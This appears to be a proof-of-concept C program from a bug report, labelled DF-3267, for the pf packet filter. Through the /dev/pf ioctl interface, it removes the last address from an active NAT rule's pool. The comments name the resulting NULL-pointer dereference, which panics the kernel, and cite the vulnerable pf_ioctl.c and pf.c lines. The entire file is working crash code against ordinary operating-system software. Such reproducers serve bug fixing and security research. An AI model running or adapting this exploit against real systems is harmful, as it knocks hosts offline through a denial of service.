DF-3267 / rmpool.c
/* * DF-3267: empty an active pf translation rule pool via DIOCCHANGEADDR * PF_CHANGE_REMOVE of its LAST pool address, driving * * pool->cur = TAILQ_FIRST(&pool->list); (NULL now) * PF_ACPY(&pool->counter, &pool->cur->addr.v.a.addr, pca->af); * pf_ioctl.c:2331-2333 * * -> NULL-pointer dereference panic in the ioctl. The same NULL * rpool->cur is later dereferenced unguarded in the packet path * (pf_map_addr pf.c:2693-2712, pf_set_rt_ifp pf.c:3642/3649). * * prerequisites (set up by run.sh): * pfctl -f nat.conf with: nat on lo0 from any to any -> 1.2.3.4 * * usage: rmpool */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <net/pf/pfvar.h> int main(void) { struct pfioc_rule pr; struct pfioc_pooladdr pca; int dev; dev = open("/dev/pf", O_RDWR); if (dev < 0) { perror("open /dev/pf"); return 2; } /* 1) grab the active NAT ruleset ticket + rule nr */ memset(&pr, 0, sizeof(pr)); pr.rule.action = PF_NAT; if (ioctl(dev, DIOCGETRULES, &pr)) { perror("DIOCGETRULES"); return 2; } printf("nat rules: nr=%u ticket=%u\n", pr.nr, pr.ticket); if (pr.nr == 0) { fprintf(stderr, "no nat rule loaded\n"); return 2; } /* 2) remove pool address #0 (the only one) of nat rule 0 */ memset(&pca, 0, sizeof(pca)); pca.action = PF_CHANGE_REMOVE; pca.ticket = pr.ticket; /* rules.active.ticket */ pca.nr = 0; /* pool address index */ pca.r_action = PF_NAT; pca.r_num = 0; /* first nat rule */ pca.r_last = 0; pca.af = AF_INET; pca.addr.addr.type = PF_ADDR_ADDRMASK; printf("issuing DIOCCHANGEADDR PF_CHANGE_REMOVE on last pool address...\n"); fflush(stdout); if (ioctl(dev, DIOCCHANGEADDR, &pca) != 0) printf("ioctl returned errno %d (%s)\n", errno, strerror(errno)); else printf("ioctl returned success\n"); printf("still alive: rpool->cur is now NULL for this rule\n"); return 0; } |